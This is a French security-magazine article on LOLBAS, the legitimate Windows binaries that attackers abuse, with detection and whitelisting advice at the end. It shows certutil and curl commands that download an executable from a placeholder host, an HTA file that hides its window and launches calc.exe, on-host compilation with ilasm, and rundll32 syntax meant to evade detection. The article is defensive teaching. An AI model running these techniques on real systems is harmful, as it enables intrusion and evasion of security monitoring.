Les lolbas, des amis qui vous veulent du bien

Magazine
Marque
MISC
Numéro
112
Mois de parution
novembre 2020
Spécialité(s)


Résumé

Il existe des fichiers nativement présents sur Windows pouvant être détournés par un attaquant et ainsi être utilisés lors des différentes phases de compromission. Dans cet article, nous présenterons quelques cas d’utilisations de ces fichiers par des attaquants, ainsi que des solutions de prévention contre ces attaques.


Body

Les antivirus et EDR (Endpoint Detection and Response) utilisent de plus en plus les avantages du cloud pour se partager des indicateurs de malveillance sur les fichiers qui sont déposés sur les postes de leurs clients. Si tous les segments d’un fichier disposent d’une bonne réputation, alors ce fichier obtiendra un faible score de malveillance de la part des antivirus et EDR. En revanche, si le fichier est inconnu, il sera analysé plus en profondeur par les solutions de sécurité [1]. Pour éviter d’embarquer directement leur propre charge malveillante, les attaquants tentent de contrer cette nouvelle méthode d’analyse à l’aide du cloud, en basant leurs attaques sur les lolbas (Living Off The Land Binaries and Scripts (and also Libraries)).

1. Un lolbas, qu’est-ce que c’est ?

Les lolbas sont une grande famille composée entre autres de lolbins. Un lolbin, pour Living Off The Land Binaries, est un binaire (souvent signé et donc jugé légitime) présent nativement sur un OS ou suite à l’installation d’une application dont l’utilité première est détournée par un attaquant pour effectuer une ou plusieurs actions malveillantes. Par exemple, le binaire certutil.exe utilisé pour la gestion des certificats permet de télécharger un certificat. L’utilisation détournée de certutil.exe permet de télécharger sur le disque n’importe quel fichier. Avec la ligne de commandes suivante, il est possible de télécharger le fichier misc.exe hébergé sur domaine.tld :

certutil.exe -urlcache -split -f http://domaine.tld/misc.exe misc.exe

Par extension, les LOLBAS (Living Off The Land Binaries and Scripts (and also Libraries)), sont l’ensemble des binaires, scripts et librairies pouvant être détournés.

Le Lolbas Project [2] répertorie plus d’une centaine de lolbas avec un exemple pour chaque action possible. Ce projet a inspiré un autre projet du même type, qui répertorie l’ensemble des lolbins sous Unix : GTFOBins.

Suivant les lolbas, il est possible de télécharger un fichier sur le disque, d’exécuter un autre binaire, de contourner les politiques de restrictions logicielles, d’effectuer de l'exfiltration de données ou encore de compiler du code. Un attaquant est donc en mesure à partir de ces binaires et scripts légitimes de mettre en place des phases de compromission.

1.1 Comment trouver un lolbas ?

Une approche empirique peut être utilisée pour trouver un lolbas. La commande suivante permet de lister tous les binaires qui sont potentiellement des lolbins présents dans le répertoire C:\Windows et ses sous-répertoires :

dir /s C:\Windows\*.exe,C:\Windows\*.dll > candidats_lolbins.txt

Comment savoir ce que font ces binaires ? Pour cela, il est possible de :

  • regarder la section d’aide (si elle est présente) à l’aide de la commande : nom_du_binaire.exe /? ;
  • faire de la rétro-ingénierie sur le binaire ;
  • effectuer une recherche sur Internet (par exemple sur https://docs.microsoft.com/fr-fr/).

Même approche, pour les scripts présents (d’extension ps1, bat, vbs, etc.) sur une machine et pouvant être détournés.

1.2 Quelques exemples

Reprenons l'exemple de certutil.exe, ce binaire permettant de gérer les certificats. Sa section d’aide indique qu’il est également possible de décoder et d’encoder en base64 n’importe quel fichier.

certutil-s

Figure 1 : Encodage en base64 à l’aide de certutil.exe.

Être capable d’encoder et de décoder n’importe quel fichier permet à un attaquant de transporter plus facilement sa charge malveillante.

Autre exemple, le lolbin bitsadmin.exe permet de gérer des transferts de fichiers sous forme de tâches. Il est possible à l'aide de ce binaire de télécharger n’importe quel fichier sur le disque, mais aussi d’exécuter d’autres binaires lors de l’exécution d’une tâche.

bitsadmin-s

Figure 2 : Exécution de commandes depuis bitsadmin.exe.

2. Utilisations

2.1 Intérêt des lolbas

Hormis la possibilité d’effectuer diverses actions à l’aide des binaires présents sur l’OS, quel est l’intérêt des lolbas ?

Le principal intérêt parmi ceux cités concerne la furtivité.

2.1.1 Furtivité

Le fait d’utiliser certains binaires signés pour effectuer des actions malveillantes fait diminuer le score de malveillance produit par certains antivirus/EDR lors de l’analyse des actions de l’attaquant.

De plus, passer par des binaires présents sur la machine de la victime permet à un attaquant de dissimuler son activité parmi les activités de la victime. Aussi, bien souvent les binaires signés ne sont pas surveillés par les équipes de sécurité.

2.1.2 Contournement des restrictions logicielles

De nombreuses entreprises autorisent leurs collaborateurs à n’exécuter qu’une liste prédéfinie d’applications ou interdisent l’exécution de certaines applications.

Une fois en possession de cette liste, un attaquant identifierait les lolbas qui y sont présents pour mettre en place une attaque qui puisse contourner les restrictions en place.

2.1.3 Dépendances

L’utilisation des lolbas permet de s’affranchir de potentielles dépendances à des librairies externes. Si le lolbas est présent sur la machine de la victime alors les dépendances sont certainement présentes également. La charge malveillante initiale de l’attaquant devient alors allégée, ce qui permet de la dissimuler et la véhiculer plus facilement.

2.2 Exemple du malware Astaroth

Certains lolbas permettent de passer plus facilement sous les radars des Antivirus/EDR et des équipes de sécurité. C’est un point que les attaquants ont compris. Le malware Astaroth est apparu en 2018 à travers une campagne de spams ciblant les Européens et les Brésiliens. Une des particularités de ce malware est qu’il base son attaque sur des lolbins. La figure 3 explique le déroulement de l’attaque en précisant les lolbins utilisés.

malware-s

Figure 3 : Cinématique d’attaque du malware Astaroth.

Après avoir été détecté par les équipes de sécurité, le malware Astaroth a évolué et utilise maintenant d’autres lolbins pour mettre en place son attaque :

Version du malware

2018-2019

2020

Principaux lolbas
utilisés

wmic.exe, bitsadmin.exe, certutil.exe,
regsvr32.exe

explorer.exe, bitsadmin.exe,
ExtExport.exe

Avec plus de 110 lolbas publiquement connus, le nombre d’attaques possibles se basant uniquement sur des lolbins est important et pourrait le devenir encore plus.

2.3 Cas pratiques

Supposons qu’un attaquant souhaite compromettre la machine d’un collaborateur d’une entreprise en se basant sur les lolbins présents sur le poste de sa victime. La section suivante présente deux phases du chemin de compromission en commençant par l’accès initial à la machine.

Bien que largement connus, les exemples suivants permettent de donner une idée des actions possibles avec des lolbas.

2.3.1 Accès initial

Un des moyens d’obtenir un accès initial est l’envoi d’un mail malveillant. En envoyant un mail avec, par exemple une archive contenant un fichier qui à son ouverture fera appel à un lolbin, il est possible d’exécuter des commandes et ainsi obtenir un accès initial. Voici un exemple d’un tel lolbin :

Le lolbin mshta.exe est appelé par défaut lorsqu’un utilisateur souhaite ouvrir un fichier Microsoft HTML Applications (HTA) d’extension .hta. Il est possible à l’aide d’un code VBScript contenu dans le fichier .hta d’exécuter des commandes à l’ouverture du fichier.

Le fichier .hta suivant permet de faire appel à calc.exe depuis l’interprétation du script VBScript au chargement du fichier par mshta.exe.

<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
Orange CyberDefense
</body>
</HEAD>
</HTML>

Les fichiers d’extension .hta (ou encore les fichiers .chm liés au lolbin hh.exe) font partie d’une liste de fichiers d’extensions considérées comme malveillantes par certains services de messagerie en ligne [3], les pièces jointes contenant de tels fichiers sont automatiquement bloquées. Cependant parmi les entreprises qui gèrent leur propre service de messagerie, certaines n’appliquent pas de règles de restrictions sur ces extensions.

2.3.2 Exécution de commandes

Une fois l’accès initial obtenu, l’attaquant souhaite par exemple télécharger et exécuter un ransomware sur le poste de sa victime. Parmi les lolbins permettant de télécharger des fichiers, on a vu précédemment bitsadmin.exe et certutil.exe. Le binaire curl.exe (disponible uniquement sur certaines versions Windows) permet également de télécharger des fichiers sur le disque.

curl.exe -O http://domaine.tld/misc.exe

Cependant, bien souvent en entreprise, la configuration des proxys/équipements de sécurité empêche tout téléchargement de binaires sur les postes des employés.

Il est alors possible de télécharger le code source de son binaire et le compiler à l’aide des lolbins présents sur la machine de la victime. En effet, le lolbin ilasm.exe, par exemple, permet de compiler du code C# et de générer des exécutables ou des DLL.

ilasm.exe C:\Public\code.txt /dll

Une fois, la DLL générée, il est possible de l’exécuter à l’aide du lolbin rundll32.exe.

Syntaxe classique :

rundll32.exe misc.dll,<EntryPoint>

Syntaxe découverte récemment [4] :

rundll32.exe advpack.dll, #12 misc.dll

L’intérêt d’utiliser une syntaxe différente est de pouvoir contourner les mécanismes de sécurité ayant une détection syntaxique trop fine.

Pouvoir compiler du code sur la machine de la victime est intéressant, car cela permet de contourner des restrictions et d’apporter des binaires non présents sur le poste. Cela peut être intéressant également dans le cas où l’exécution de powershell.exe est interdite. En effet, il est possible d’exécuter du Powershell depuis du code C# à partir de l’espace de noms System.Management.Automation [5].

3. Détections et recommandations

Contrer l’utilisation des lolbas par les attaquants n’est pas une tâche facile. Une première solution est de mettre en place une politique de restrictions logicielles pour ainsi réduire au strict nécessaire les applications autorisées à s’exécuter sur le poste d’un collaborateur.

3.1 Politique de restriction logicielle

Microsoft propose deux solutions de restrictions logicielles : Windows Defender Application Control et AppLocker [6]. Ces solutions peuvent être utilisées conjointement et permettent ainsi de limiter, contrôler et auditer les applications et scripts lancés par les utilisateurs, sur la base de règles définies par les administrateurs.

Lors de la mise en place d’une politique de restrictions logicielles, deux approches sont possibles :

  • définir une liste noire d’applications dont l’exécution sera interdite, l’exécution des autres applications étant par défaut autorisée ;
  • bloquer par défaut l’exécution de toutes les applications et n’autoriser que certaines applications en liste blanche à s’exécuter.

De nouveaux lolbas sont régulièrement découverts, c’est pourquoi la seconde approche, se basant sur une liste blanche d’applications et scripts autorisés à s’exécuter, est à privilégier.

Les règles peuvent s’appliquer sur l’exécution d'applications, de paquets d’installation Windows, ou de scripts à partir des éléments suivants :

  • certificat : il est possible de baser une décision d’accès sur le certificat utilisé par l’éditeur pour signer numériquement son produit ;
  • chemins d’accès : cela permet d’appliquer une règle à tous les exécutables d’un répertoire ;
  • condensat cryptographique (« hash ») : l’élément soumis à la règle est identifié à partir de son empreinte. Cela protège de l’exécution, quel que soit le répertoire depuis lequel l’exécutable est lancé.

Avant de mettre en place toute politique de restrictions logicielles, il est important d’effectuer un recensement des applications utilisées sur le parc informatique de l’entreprise ainsi que les librairies nécessaires à leur bon fonctionnement.

Une attention particulière doit être portée dans le choix des règles de restrictions. Par exemple, si la règle appliquée n’autorise que l’exécution des binaires présents dans C:\Windows, il est possible de contourner cette règle en compilant son binaire dans un des sous-répertoires accessibles en écriture par tout utilisateur (par exemple C:\Windows\Temp).

Convenablement configurées [7], les règles de restrictions logicielles basées sur une liste blanche permettent d’atteindre un niveau de sécurité satisfaisant.

3.2 Journalisation des lolbas

Pour parfaire votre sécurité vis-à-vis des lolbas, il est possible de journaliser l’utilisation qui est faite des applications pouvant amener à la compromission d’une machine de votre parc.

Si les contraintes de production obligent la non-restriction d’un lolbin, il est possible de surveiller les arguments de ce dernier. En effet, si un binaire ne doit pas interagir avec l'extérieur, et que lors de son utilisation, il contient un argument avec un chemin externe (« http:// », ou « https:// » par exemple), cette utilisation suspecte doit être remontée aux équipes de sécurité.

Pour journaliser la création de processus et les lignes de commande associées, il est par exemple possible :

  • soit d’utiliser l’évènement Windows 4688. Par défaut, les lignes de commandes associées à une création de processus ne sont pas récoltées. Il est important d’activer les deux éléments ;
  • soit d’utiliser l’outil Sysinternals, Sysmon. L’audit de création de processus est associé à l’évènement d’identifiant 1.

La seconde option est à privilégier, en effet l’évènement Sysmon d’identifiant 1 permet de récupérer beaucoup plus d’informations dans un seul et unique évènement.

Ci-dessous un événement Sysmon montre l’exécution du lolbin rundll32.exe exécutant à son tour le binaire calc.exe.

rundll32.exe advpack.dll, #12 calc.exe

On y retrouve la ligne de commandes de création du processus, le chemin d’exécution, l’utilisateur propriétaire du processus ou encore le hash du fichier issu du processus créé (ici le hash du fichier calc.exe).

Le hash du fichier peut ensuite être utilisé pour l’investigation par les équipes de sécurité ou pour appliquer une restriction d’utilisation sur tout le parc de l’entreprise.

process creation sysmon-s

Figure 4 : Informations remontées par un événement Sysmon d’identifiant 1.

Conclusion

Régulièrement de nouveaux lolbas sont découverts, il est important de se tenir au courant des dernières découvertes. Une telle veille peut être effectuée sur Twitter, sous les hashtags #lolbins, #lolbas ou sur des blogs traitant régulièrement sur ce sujet tels que https://hexacorn.com/.

Se prémunir face aux lolbas est une tâche relativement complexe, mais mettre en place une politique de restrictions logicielles par liste blanche et journaliser les applications autorisées à s’exécuter permet de réduire grandement les possibilités d’un attaquant.

Remerciements

Mes remerciements à toutes les personnes d’Orange Cyberdefense (en particulier Elias ISSA, Slim MERIAH et Joël HIEN) pour leurs conseils et relectures.

Références

[1] https://docs.microsoft.com/fr-fr/windows/security/threat-protection/microsoft-defender-antivirus/detect-block-potentially-unwanted-apps-microsoft-defender-antivirus

[2] https://lolbas-project.github.io/

[3] https://support.google.com/mail/answer/6590?hl=fr

[4] http://www.hexacorn.com/blog/2020/02/05/stay-positive-lolbins-not/

[5] https://docs.microsoft.com/en-us/archive/blogs/kebab/executing-powershell-scripts-from-c

[6] https://docs.microsoft.com/fr-fr/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control

[7] https://www.ssi.gouv.fr/uploads/2013/12/np_applocker_notetech-v2.pdf



Article rédigé par

Les derniers articles Premiums

Les derniers articles Premium

Cryptographie : débuter par la pratique grâce à picoCTF

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

L’apprentissage de la cryptographie n’est pas toujours évident lorsqu’on souhaite le faire par la pratique. Lorsque l’on débute, il existe cependant des challenges accessibles qui permettent de découvrir ce monde passionnant sans avoir de connaissances mathématiques approfondies en la matière. C’est le cas de picoCTF, qui propose une série d’épreuves en cryptographie avec une difficulté progressive et à destination des débutants !

Game & Watch : utilisons judicieusement la mémoire

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Au terme de l'article précédent [1] concernant la transformation de la console Nintendo Game & Watch en plateforme de développement, nous nous sommes heurtés à un problème : les 128 Ko de flash intégrés au microcontrôleur STM32 sont une ressource précieuse, car en quantité réduite. Mais heureusement pour nous, le STM32H7B0 dispose d'une mémoire vive de taille conséquente (~ 1,2 Mo) et se trouve être connecté à une flash externe QSPI offrant autant d'espace. Pour pouvoir développer des codes plus étoffés, nous devons apprendre à utiliser ces deux ressources.

Raspberry Pi Pico : PIO, DMA et mémoire flash

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Le microcontrôleur RP2040 équipant la Pico est une petite merveille et malgré l'absence de connectivité wifi ou Bluetooth, l'étendue des fonctionnalités intégrées reste très impressionnante. Nous avons abordé le sujet du sous-système PIO dans un précédent article [1], mais celui-ci n'était qu'une découverte de la fonctionnalité. Il est temps à présent de pousser plus loin nos expérimentations en mêlant plusieurs ressources à notre disposition : PIO, DMA et accès à la flash QSPI.

Les listes de lecture

11 article(s) - ajoutée le 01/07/2020
Clé de voûte d'une infrastructure Windows, Active Directory est l'une des cibles les plus appréciées des attaquants. Les articles regroupés dans cette liste vous permettront de découvrir l'état de la menace, les attaques et, bien sûr, les contre-mesures.
8 article(s) - ajoutée le 13/10/2020
Découvrez les méthodologies d'analyse de la sécurité des terminaux mobiles au travers d'exemples concrets sur Android et iOS.
10 article(s) - ajoutée le 13/10/2020
Vous retrouverez ici un ensemble d'articles sur les usages contemporains de la cryptographie (whitebox, courbes elliptiques, embarqué, post-quantique), qu'il s'agisse de rechercher des vulnérabilités ou simplement comprendre les fondamentaux du domaine.
Voir les 55 listes de lecture

Abonnez-vous maintenant

et profitez de tous les contenus en illimité

Je découvre les offres

Déjà abonné ? Connectez-vous